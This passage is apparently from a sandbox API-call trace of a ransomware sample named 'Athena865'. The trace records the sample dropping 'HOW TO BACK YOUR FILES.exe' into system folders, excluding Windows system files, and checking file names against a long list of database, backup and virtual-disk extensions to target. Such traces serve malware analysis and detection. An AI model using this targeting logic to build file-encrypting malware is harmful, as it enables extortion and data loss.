ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0034.644] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.644] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.644] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.644] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc3354e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3354e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.644] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.644] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.644] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.644] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.644] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1 [0034.644] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.644] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.644] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2=".") returned 1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="..") returned 1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="windows") returned -1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="bootmgr") returned 1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="temp") returned -1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="pagefile.sys") returned -1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="boot") returned 1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="ids.txt") returned -1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="ntuser.dat") returned -1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="perflogs") returned -1 [0034.645] lstrcmpiW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="MSBuild") returned -1 [0034.645] lstrlenW (lpString="e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned 36 [0034.645] lstrcpyW (in: lpString1=0x241e860, lpString2="e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0034.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509068 [0034.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x50dd88 [0034.645] lstrcatW (in: lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="\\" | out: lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0034.645] lstrcatW (in: lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\HOW TO BACK YOUR FILES.exe") returned="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\HOW TO BACK YOUR FILES.exe" [0034.645] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.647] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc3354e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3354e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.647] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.647] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc3354e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3354e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0034.647] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0034.647] ReleaseMutex (hMutex=0xec) returned 1 [0034.647] CloseHandle (hObject=0xec) returned 1 [0034.647] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0034.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f448 | out: hHeap=0x4f0000) returned 1 [0034.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c230 | out: hHeap=0x4f0000) returned 1 [0034.647] lstrlenW (lpString="C:\\System Volume Information") returned 28 [0034.648] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B64200E6542141E4BE4215C4277888D9") returned 0xec [0034.648] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.648] lstrcatW (in: lpString1="", lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0034.648] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.648] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.648] CreateFileW (lpFileName="C:\\System Volume Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.648] GetLastError () returned 0x2 [0034.648] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.648] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0034.648] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.649] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.649] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.649] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.649] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.649] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.649] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.649] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.649] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56231c60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x56231c60, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MountPointManagerRemoteDatabase", cAlternateFileName="MOUNTP~1")) returned 1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2=".") returned 1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="..") returned 1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="windows") returned -1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="bootmgr") returned 1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="temp") returned -1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="pagefile.sys") returned -1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="boot") returned 1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="ids.txt") returned 1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="ntuser.dat") returned -1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="perflogs") returned -1 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2="MSBuild") returned -1 [0034.649] lstrlenW (lpString="MountPointManagerRemoteDatabase") returned 31 [0034.649] lstrcpyW (in: lpString1=0x241e882, lpString2="MountPointManagerRemoteDatabase" | out: lpString1="MountPointManagerRemoteDatabase") returned="MountPointManagerRemoteDatabase" [0034.649] lstrlenW (lpString="MountPointManagerRemoteDatabase") returned 31 [0034.649] lstrlenW (lpString="Athena865") returned 9 [0034.649] lstrcmpiW (lpString1="eDatabase", lpString2="Athena865") returned 1 [0034.649] lstrlenW (lpString=".dll") returned 4 [0034.649] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2=".dll") returned 1 [0034.649] lstrlenW (lpString=".lnk") returned 4 [0034.650] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2=".lnk") returned 1 [0034.650] lstrlenW (lpString=".ini") returned 4 [0034.650] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2=".ini") returned 1 [0034.650] lstrlenW (lpString=".sys") returned 4 [0034.650] lstrcmpiW (lpString1="MountPointManagerRemoteDatabase", lpString2=".sys") returned 1 [0034.650] lstrlenW (lpString="MountPointManagerRemoteDatabase") returned 31 [0034.650] lstrlenW (lpString="bak") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="bak") returned -1 [0034.650] lstrlenW (lpString="ba_") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="ba_") returned -1 [0034.650] lstrlenW (lpString="dbb") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="dbb") returned -1 [0034.650] lstrlenW (lpString="vmdk") returned 4 [0034.650] lstrcmpiW (lpString1="base", lpString2="vmdk") returned -1 [0034.650] lstrlenW (lpString="rar") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="rar") returned -1 [0034.650] lstrlenW (lpString="zip") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="zip") returned -1 [0034.650] lstrlenW (lpString="tgz") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="tgz") returned -1 [0034.650] lstrlenW (lpString="vbox") returned 4 [0034.650] lstrcmpiW (lpString1="base", lpString2="vbox") returned -1 [0034.650] lstrlenW (lpString="vdi") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="vdi") returned -1 [0034.650] lstrlenW (lpString="vhd") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="vhd") returned -1 [0034.650] lstrlenW (lpString="vhdx") returned 4 [0034.650] lstrcmpiW (lpString1="base", lpString2="vhdx") returned -1 [0034.650] lstrlenW (lpString="avhd") returned 4 [0034.650] lstrcmpiW (lpString1="base", lpString2="avhd") returned 1 [0034.650] lstrlenW (lpString="db") returned 2 [0034.650] lstrcmpiW (lpString1="se", lpString2="db") returned 1 [0034.650] lstrlenW (lpString="db2") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="db2") returned -1 [0034.650] lstrlenW (lpString="db3") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="db3") returned -1 [0034.650] lstrlenW (lpString="dbf") returned 3 [0034.650] lstrcmpiW (lpString1="ase", lpString2="dbf") returned -1 [0034.650] lstrlenW (lpString="mdf") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="mdf") returned -1 [0034.651] lstrlenW (lpString="mdb") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="mdb") returned -1 [0034.651] lstrlenW (lpString="sql") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="sql") returned -1 [0034.651] lstrlenW (lpString="sqlite") returned 6 [0034.651] lstrcmpiW (lpString1="tabase", lpString2="sqlite") returned 1 [0034.651] lstrlenW (lpString="sqlite3") returned 7 [0034.651] lstrcmpiW (lpString1="atabase", lpString2="sqlite3") returned -1 [0034.651] lstrlenW (lpString="sqlitedb") returned 8 [0034.651] lstrcmpiW (lpString1="Database", lpString2="sqlitedb") returned -1 [0034.651] lstrlenW (lpString="xml") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="xml") returned -1 [0034.651] lstrlenW (lpString="$er") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="$er") returned 1 [0034.651] lstrlenW (lpString="4dd") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="4dd") returned 1 [0034.651] lstrlenW (lpString="4dl") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="4dl") returned 1 [0034.651] lstrlenW (lpString="^^^") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="^^^") returned 1 [0034.651] lstrlenW (lpString="abs") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="abs") returned 1 [0034.651] lstrlenW (lpString="abx") returned 3 [0034.651] lstrcmpiW (lpString1="ase", lpString2="abx") returned 1 [0034.651] lstrlenW (lpString="accdb") returned 5 [0034.651] lstrcmpiW (lpString1="abase", lpString2="accdb") returned -1 [0034.651] lstrlenW (lpString="accdc") returned 5 [0034.651] lstrcmpiW (lpString1="abase", lpString2="accdc") returned -1 [0034.651] lstrlenW (lpString="accde") returned 5 [0034.651] lstrcmpiW (lpString1="abase", lpString2="accde") returned -1 [0034.651] lstrlenW (lpString="accdr") returned 5 [0034.651] lstrcmpiW (lpString1="abase", lpString2="accdr") returned -1 [0034.651] lstrlenW (lpString="accdt") returned 5 [0034.651] lstrcmpiW (lpString1="abase", lpString2="accdt") returned -1 [0034.651] lstrlenW (lpString="accdw") returned 5 [0034.651] lstrcmpiW (lpString1="abase", lpString2="accdw") returned -1 [0034.651] lstrlenW (lpString="accft") returned 5 [0034.652] lstrcmpiW (lpString1="abase", lpString2="accft") returned -1 [0034.652] lstrlenW (lpString="adb") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="adb") returned 1 [0034.652] lstrlenW (lpString="adb") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="adb") returned 1 [0034.652] lstrlenW (lpString="ade") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="ade") returned 1 [0034.652] lstrlenW (lpString="adf") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="adf") returned 1 [0034.652] lstrlenW (lpString="adn") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="adn") returned 1 [0034.652] lstrlenW (lpString="adp") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="adp") returned 1 [0034.652] lstrlenW (lpString="alf") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="alf") returned 1 [0034.652] lstrlenW (lpString="ask") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="ask") returned -1 [0034.652] lstrlenW (lpString="btr") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="btr") returned -1 [0034.652] lstrlenW (lpString="cat") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="cat") returned -1 [0034.652] lstrlenW (lpString="cdb") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="cdb") returned -1 [0034.652] lstrlenW (lpString="ckp") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="ckp") returned -1 [0034.652] lstrlenW (lpString="cma") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="cma") returned -1 [0034.652] lstrlenW (lpString="cpd") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="cpd") returned -1 [0034.652] lstrlenW (lpString="dacpac") returned 6 [0034.652] lstrcmpiW (lpString1="tabase", lpString2="dacpac") returned 1 [0034.652] lstrlenW (lpString="dad") returned 3 [0034.652] lstrcmpiW (lpString1="ase", lpString2="dad") returned -1 [0034.652] lstrlenW (lpString="dadiagrams") returned 10 [0034.652] lstrcmpiW (lpString1="teDatabase", lpString2="dadiagrams") returned 1 [0034.652] lstrlenW (lpString="daschema") returned 8 [0034.652] lstrcmpiW (lpString1="Database", lpString2="daschema") returned 1 [0034.652] lstrlenW (lpString="db-journal") returned 10 [0034.653] lstrcmpiW (lpString1="teDatabase", lpString2="db-journal") returned 1 [0034.653] lstrlenW (lpString="db-shm") returned 6 [0034.653] lstrcmpiW (lpString1="tabase", lpString2="db-shm") returned 1 [0034.653] lstrlenW (lpString="db-wal") returned 6 [0034.653] lstrcmpiW (lpString1="tabase", lpString2="db-wal") returned 1 [0034.653] lstrlenW (lpString="dbc") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dbc") returned -1 [0034.653] lstrlenW (lpString="dbs") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dbs") returned -1 [0034.653] lstrlenW (lpString="dbt") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dbt") returned -1 [0034.653] lstrlenW (lpString="dbv") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dbv") returned -1 [0034.653] lstrlenW (lpString="dbx") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dbx") returned -1 [0034.653] lstrlenW (lpString="dcb") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dcb") returned -1 [0034.653] lstrlenW (lpString="dct") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dct") returned -1 [0034.653] lstrlenW (lpString="dcx") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dcx") returned -1 [0034.653] lstrlenW (lpString="ddl") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="ddl") returned -1 [0034.653] lstrlenW (lpString="dlis") returned 4 [0034.653] lstrcmpiW (lpString1="base", lpString2="dlis") returned -1 [0034.653] lstrlenW (lpString="dp1") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dp1") returned -1 [0034.653] lstrlenW (lpString="dqy") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dqy") returned -1 [0034.653] lstrlenW (lpString="dsk") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dsk") returned -1 [0034.653] lstrlenW (lpString="dsn") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dsn") returned -1 [0034.653] lstrlenW (lpString="dtsx") returned 4 [0034.653] lstrcmpiW (lpString1="base", lpString2="dtsx") returned -1 [0034.653] lstrlenW (lpString="dxl") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="dxl") returned -1 [0034.653] lstrlenW (lpString="eco") returned 3 [0034.653] lstrcmpiW (lpString1="ase", lpString2="eco") returned -1 [0034.653] lstrlenW (lpString="ecx") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="ecx") returned -1 [0034.654] lstrlenW (lpString="edb") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="edb") returned -1 [0034.654] lstrlenW (lpString="epim") returned 4 [0034.654] lstrcmpiW (lpString1="base", lpString2="epim") returned -1 [0034.654] lstrlenW (lpString="fcd") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fcd") returned -1 [0034.654] lstrlenW (lpString="fdb") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fdb") returned -1 [0034.654] lstrlenW (lpString="fic") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fic") returned -1 [0034.654] lstrlenW (lpString="flexolibrary") returned 12 [0034.654] lstrcmpiW (lpString1="moteDatabase", lpString2="flexolibrary") returned 1 [0034.654] lstrlenW (lpString="fm5") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fm5") returned -1 [0034.654] lstrlenW (lpString="fmp") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fmp") returned -1 [0034.654] lstrlenW (lpString="fmp12") returned 5 [0034.654] lstrcmpiW (lpString1="abase", lpString2="fmp12") returned -1 [0034.654] lstrlenW (lpString="fmpsl") returned 5 [0034.654] lstrcmpiW (lpString1="abase", lpString2="fmpsl") returned -1 [0034.654] lstrlenW (lpString="fol") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fol") returned -1 [0034.654] lstrlenW (lpString="fp3") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fp3") returned -1 [0034.654] lstrlenW (lpString="fp4") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fp4") returned -1 [0034.654] lstrlenW (lpString="fp5") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fp5") returned -1 [0034.654] lstrlenW (lpString="fp7") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fp7") returned -1 [0034.654] lstrlenW (lpString="fpt") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="fpt") returned -1 [0034.654] lstrlenW (lpString="frm") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="frm") returned -1 [0034.654] lstrlenW (lpString="gdb") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="gdb") returned -1 [0034.654] lstrlenW (lpString="gdb") returned 3 [0034.654] lstrcmpiW (lpString1="ase", lpString2="gdb") returned -1 [0034.655] lstrlenW (lpString="grdb") returned 4 [0034.655] lstrcmpiW (lpString1="base", lpString2="grdb") returned -1 [0034.655] lstrlenW (lpString="gwi") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="gwi") returned -1 [0034.655] lstrlenW (lpString="hdb") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="hdb") returned -1 [0034.655] lstrlenW (lpString="his") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="his") returned -1 [0034.655] lstrlenW (lpString="ib") returned 2 [0034.655] lstrcmpiW (lpString1="se", lpString2="ib") returned 1 [0034.655] lstrlenW (lpString="idb") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="idb") returned -1 [0034.655] lstrlenW (lpString="ihx") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="ihx") returned -1 [0034.655] lstrlenW (lpString="itdb") returned 4 [0034.655] lstrcmpiW (lpString1="base", lpString2="itdb") returned -1 [0034.655] lstrlenW (lpString="itw") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="itw") returned -1 [0034.655] lstrlenW (lpString="jet") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="jet") returned -1 [0034.655] lstrlenW (lpString="jtx") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="jtx") returned -1 [0034.655] lstrlenW (lpString="kdb") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="kdb") returned -1 [0034.655] lstrlenW (lpString="kexi") returned 4 [0034.655] lstrcmpiW (lpString1="base", lpString2="kexi") returned -1 [0034.655] lstrlenW (lpString="kexic") returned 5 [0034.655] lstrcmpiW (lpString1="abase", lpString2="kexic") returned -1 [0034.655] lstrlenW (lpString="kexis") returned 5 [0034.655] lstrcmpiW (lpString1="abase", lpString2="kexis") returned -1 [0034.655] lstrlenW (lpString="lgc") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="lgc") returned -1 [0034.655] lstrlenW (lpString="lwx") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="lwx") returned -1 [0034.655] lstrlenW (lpString="maf") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="maf") returned -1 [0034.655] lstrlenW (lpString="maq") returned 3 [0034.655] lstrcmpiW (lpString1="ase", lpString2="maq") returned -1 [0034.656] lstrlenW (lpString="mar") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mar") returned -1 [0034.656] lstrlenW (lpString="marshal") returned 7 [0034.656] lstrcmpiW (lpString1="atabase", lpString2="marshal") returned -1 [0034.656] lstrlenW (lpString="mas") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mas") returned -1 [0034.656] lstrlenW (lpString="mav") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mav") returned -1 [0034.656] lstrlenW (lpString="maw") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="maw") returned -1 [0034.656] lstrlenW (lpString="mdbhtml") returned 7 [0034.656] lstrcmpiW (lpString1="atabase", lpString2="mdbhtml") returned -1 [0034.656] lstrlenW (lpString="mdn") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mdn") returned -1 [0034.656] lstrlenW (lpString="mdt") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mdt") returned -1 [0034.656] lstrlenW (lpString="mfd") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mfd") returned -1 [0034.656] lstrlenW (lpString="mpd") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mpd") returned -1 [0034.656] lstrlenW (lpString="mrg") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mrg") returned -1 [0034.656] lstrlenW (lpString="mud") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mud") returned -1 [0034.656] lstrlenW (lpString="mwb") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="mwb") returned -1 [0034.656] lstrlenW (lpString="myd") returned 3 [0034.656] 